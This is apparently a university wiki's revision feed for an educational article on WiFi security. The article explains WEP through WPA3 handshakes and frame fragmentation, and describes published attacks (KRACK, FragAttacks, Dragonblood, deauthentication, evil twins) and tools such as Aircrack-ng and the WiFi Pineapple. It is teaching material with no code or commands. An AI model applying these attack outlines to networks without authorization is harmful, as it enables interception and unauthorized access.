&lt;br /&gt;
[[File:4way.png|500px|thumb|right|4 Way Handshake]]&lt;br /&gt;
&lt;br /&gt;
WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a &amp;quot;Pairwise Master Key&amp;quot; (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:&lt;br /&gt;
&lt;br /&gt;
# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.&lt;br /&gt;
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.&lt;br /&gt;
# The AP sends the group temporal key (GTK) to the client.&lt;br /&gt;
# The client confirms that the GTK was received.&lt;br /&gt;
&lt;br /&gt;
After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.&lt;br /&gt;
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.&lt;br /&gt;
&lt;br /&gt;
After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).&lt;br /&gt;
&lt;br /&gt;
For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. &amp;lt;ref&amp;gt;Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA3 ===&lt;br /&gt;
&lt;br /&gt;
[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]&lt;br /&gt;
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it&#039;s available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it&#039;s much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.&lt;br /&gt;
&lt;br /&gt;
The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client-&amp;gt;AP and AP-&amp;gt;client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.&lt;br /&gt;
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Frame Aggregation and Fragmentation ===&lt;br /&gt;
&lt;br /&gt;
[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]&lt;br /&gt;
&lt;br /&gt;
In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.&lt;br /&gt;
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.&lt;br /&gt;
&lt;br /&gt;
== Attacks ==&lt;br /&gt;
&lt;br /&gt;
=== Disassociation and Denial of Service Attacks ===&lt;br /&gt;
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]&lt;br /&gt;
&amp;lt;ref&amp;gt;Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications &amp;amp; Networking Conference (CCNC)&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== KRACK ===&lt;br /&gt;
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.&lt;br /&gt;
&lt;br /&gt;
When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn&#039;t receive it. The client doesn&#039;t know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.&lt;br /&gt;
&lt;br /&gt;
=== FragAttacks ===&lt;br /&gt;
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]&lt;br /&gt;
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.&lt;br /&gt;
&lt;br /&gt;
To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it&#039;s possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.&lt;br /&gt;
&lt;br /&gt;
The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it&#039;s not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.&lt;br /&gt;
&lt;br /&gt;
=== Dragonblood ===&lt;br /&gt;
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.&lt;br /&gt;
&lt;br /&gt;
As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn&#039;t support WPA2.&lt;br /&gt;
&lt;br /&gt;
Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn&#039;t support this curve, it responds with a message stating so, leading to the client select another curve from it&#039;s list. This is repeated until a curve supported by both devices is found. The message that the AP doesn&#039;t support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.&amp;lt;ref&amp;gt;Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
is an open-source suite designed for assessing Wi-Fi network security. It&#039;s capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.&amp;lt;ref&amp;gt; Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3&lt;br /&gt;
security approach measurement through aircrack-ng technique’. In 2021&lt;br /&gt;
5th International Conference on Computing Methodologies and Commu-&lt;br /&gt;
nication (ICCMC), pages 23–30, 2021&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]&lt;br /&gt;
&lt;br /&gt;
=== Driftnet ===&lt;br /&gt;
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet&#039;s capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.&lt;br /&gt;
&amp;lt;ref&amp;gt;deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WiFi Pineapple Nano ===&lt;br /&gt;
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.&lt;br /&gt;
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.&lt;br /&gt;
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.krackattacks.com/&lt;br /&gt;
* https://www.fragattacks.com/&lt;br /&gt;
* https://wpa3.mathyvanhoef.com/&lt;br /&gt;
* https://ieeexplore.ieee.org/document/523485&lt;br /&gt;
* https://github.com/deiv/driftnet&lt;br /&gt;
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16746</id>
		<title>WiFi Security</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16746"/>
		<updated>2024-12-05T19:49:17Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* WPA */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.&lt;br /&gt;
&lt;br /&gt;
== Basics ==&lt;br /&gt;
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.&lt;br /&gt;
&lt;br /&gt;
In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.&amp;lt;ref&amp;gt; https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.&lt;br /&gt;
&lt;br /&gt;
==Versions==&lt;br /&gt;
===WEP===&lt;br /&gt;
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.&lt;br /&gt;
&amp;lt;ref&amp;gt;{{Cite conference&lt;br /&gt;
| last1 = Lashkari&lt;br /&gt;
| first1 = Arash Habibi&lt;br /&gt;
| last2 = Danesh&lt;br /&gt;
| first2 = Mir Mohammad Seyed&lt;br /&gt;
| last3 = Samadi&lt;br /&gt;
| first3 = Behrang&lt;br /&gt;
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)&lt;br /&gt;
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology&lt;br /&gt;
| year = 2009&lt;br /&gt;
| pages = 48–52&lt;br /&gt;
| doi = 10.1109/ICCSIT.2009.5234856&lt;br /&gt;
| url = https://ieeexplore.ieee.org/document/5234856&lt;br /&gt;
}}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===WPA===&lt;br /&gt;
&lt;br /&gt;
WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn&#039;t be upgraded to support WPA due to extensive required changes. WPA&#039;s major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP&#039;s vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. &amp;lt;ref&amp;gt;Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-&lt;br /&gt;
havior of wpa with modification. In 2015 International Conference on&lt;br /&gt;
Communication Networks (ICCN), pages 53–56, 2015.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA supports two types of operation:&lt;br /&gt;
* Personal WPA or WPA-PSK (Pre-Shared Key): &lt;br /&gt;
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it&#039;s only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air.&lt;br /&gt;
* Enterprise-WPA or Commercial (802.1X): &lt;br /&gt;
Is used in Commercial or Enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users&#039; traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA&#039;s TKIP allows a more advanced encryption. Instead of a preshared key, you will need a RADIUS server. With this sever it&#039;s possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods.&lt;br /&gt;
&lt;br /&gt;
=== WPA2 ===&lt;br /&gt;
&lt;br /&gt;
[[File:4way.png|500px|thumb|right|4 Way Handshake]]&lt;br /&gt;
&lt;br /&gt;
WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a &amp;quot;Pairwise Master Key&amp;quot; (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:&lt;br /&gt;
&lt;br /&gt;
# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.&lt;br /&gt;
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.&lt;br /&gt;
# The AP sends the group temporal key (GTK) to the client.&lt;br /&gt;
# The client confirms that the GTK was received.&lt;br /&gt;
&lt;br /&gt;
After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.&lt;br /&gt;
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.&lt;br /&gt;
&lt;br /&gt;
After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).&lt;br /&gt;
&lt;br /&gt;
For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. &amp;lt;ref&amp;gt;Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA3 ===&lt;br /&gt;
&lt;br /&gt;
[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]&lt;br /&gt;
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it&#039;s available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it&#039;s much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.&lt;br /&gt;
&lt;br /&gt;
The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client-&amp;gt;AP and AP-&amp;gt;client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.&lt;br /&gt;
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Frame Aggregation and Fragmentation ===&lt;br /&gt;
&lt;br /&gt;
[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]&lt;br /&gt;
&lt;br /&gt;
In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.&lt;br /&gt;
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.&lt;br /&gt;
&lt;br /&gt;
== Attacks ==&lt;br /&gt;
&lt;br /&gt;
=== Disassociation and Denial of Service Attacks ===&lt;br /&gt;
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]&lt;br /&gt;
&amp;lt;ref&amp;gt;Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications &amp;amp; Networking Conference (CCNC)&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== KRACK ===&lt;br /&gt;
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.&lt;br /&gt;
&lt;br /&gt;
When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn&#039;t receive it. The client doesn&#039;t know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.&lt;br /&gt;
&lt;br /&gt;
=== FragAttacks ===&lt;br /&gt;
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]&lt;br /&gt;
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.&lt;br /&gt;
&lt;br /&gt;
To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it&#039;s possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.&lt;br /&gt;
&lt;br /&gt;
The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it&#039;s not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.&lt;br /&gt;
&lt;br /&gt;
=== Dragonblood ===&lt;br /&gt;
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.&lt;br /&gt;
&lt;br /&gt;
As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn&#039;t support WPA2.&lt;br /&gt;
&lt;br /&gt;
Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn&#039;t support this curve, it responds with a message stating so, leading to the client select another curve from it&#039;s list. This is repeated until a curve supported by both devices is found. The message that the AP doesn&#039;t support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.&amp;lt;ref&amp;gt;Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
is an open-source suite designed for assessing Wi-Fi network security. It&#039;s capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.&amp;lt;ref&amp;gt; Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3&lt;br /&gt;
security approach measurement through aircrack-ng technique’. In 2021&lt;br /&gt;
5th International Conference on Computing Methodologies and Commu-&lt;br /&gt;
nication (ICCMC), pages 23–30, 2021&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]&lt;br /&gt;
&lt;br /&gt;
=== Driftnet ===&lt;br /&gt;
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet&#039;s capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.&lt;br /&gt;
